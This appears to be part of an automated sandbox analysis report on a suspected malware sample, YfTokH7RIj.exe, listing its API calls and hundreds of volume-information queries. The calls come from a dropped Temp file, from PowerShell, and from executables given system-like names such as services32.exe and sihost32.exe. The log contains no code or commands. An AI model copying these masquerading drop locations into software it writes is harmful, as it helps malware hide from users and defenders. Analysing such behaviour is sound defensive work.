Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpy,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,		0_2_00D54CB8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: GetLocaleInfoA,		0_2_00D59C9C

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\fl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\Windows\System32\services32.exe VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\Windows\System32\services32.exe VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Queries volume information: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
